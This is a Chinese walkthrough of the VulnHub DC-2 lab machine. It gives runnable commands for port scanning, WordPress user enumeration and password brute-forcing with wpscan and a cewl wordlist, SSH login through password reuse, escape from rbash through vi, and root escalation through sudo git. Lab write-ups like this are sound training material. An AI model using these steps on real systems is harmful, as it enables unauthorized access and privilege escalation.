环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-2.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.148

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.148

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.148

扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、一个 SSH 服务(7744 端口)

1
2
3
4
5
PORT     STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Did not follow redirect to http://dc-2/
|_http-server-header: Apache/2.4.10 (Debian)
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

网站信息收集

需要将域名解析到对应的 IP 地址才能访问网站,可以通过修改本地的 hosts 文件,添加如下映射:

1
192.168.52.148 dc-2

正常访问,可以看到 flag1,说是要使用 cewl 工具生成密码字典

了解了一下,cewl 可以根据用户指定的 URL 和默认的脚本配置(爬取深度:2;密码长度大于等于 3),爬取站点内容并打印出字典

1
cewl http://dc-2/ -w ./crew.txt

同时,很容易发现这是一个 WordPress 站点

使用工具 wpscan 枚举出账号信息,命令如下:

1
wpscan --url http://dc-2/ -e u

发现三个账号,将这三个账号写进 user.txt 里,再用 wpscan 爆破账号密码

1
wpscan --url http://dc-2/ -U user.txt -P cewl.txt

爆破得到两个账号密码信息

1
2
jerry/adipiscing
tom/parturient

目录扫描

有了账号密码,需要找到能登陆的地方,使用 dirsearch 来扫一下目录看看有什么泄露的路径

1
python .\dirsearch.py -u http://dc-2/

果然扫到一个登陆页面 /wp-login.php,使用 jerry 账号成功登陆进去,拿到 flag2

漏洞利用

SSH 登陆

提示说是需要换其他方法,从 ssh 端口入手,这个 ssh 特意更改了默认端口,肯定可以利用,直接用 tom/parturient 密码复用,成功登陆

Rbash 绕过

但是连上之后给的是一个 rbash shell,很多命令无法执行,尝试绕过 rbash 限制

先查看有哪些可用的命令

1
compgen -c

发现 vi 可以用,使用 vi 来绕过 rbash 限制,具体步骤如下:

1
2
3
4
5
6
7
vi
Esc
:set shell=/bin/bash
:shell

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

操作之后你就得到了一个完整的 shell

先查找权限内可以看到的 flag

1
find / -name "*flag*" 2>/dev/null

发现 flag3 和 flag4,查看一下,提示让切换到 jerry 用户看看,还是密码复用,用 WordPress 得到的密码 adipiscing 登陆就能成功切换

权限提升

发现这个账号还没 tom 的权限高,需要提权,经尝试发现是 sudo 提权

首先用 sudo -l 看一下有哪些无密码的 root 文件可以利用,发现 git 文件

1
2
sudo -l
(root) NOPASSWD: /usr/bin/git

在 GTFOBins 网站查找 git 的提权,发现可以通过 sudo 来提权

挨个尝试发现第二种方式可行,成功提权

1
2
sudo git -p help config
!/bin/sh

在 root 目录下找到最终 flag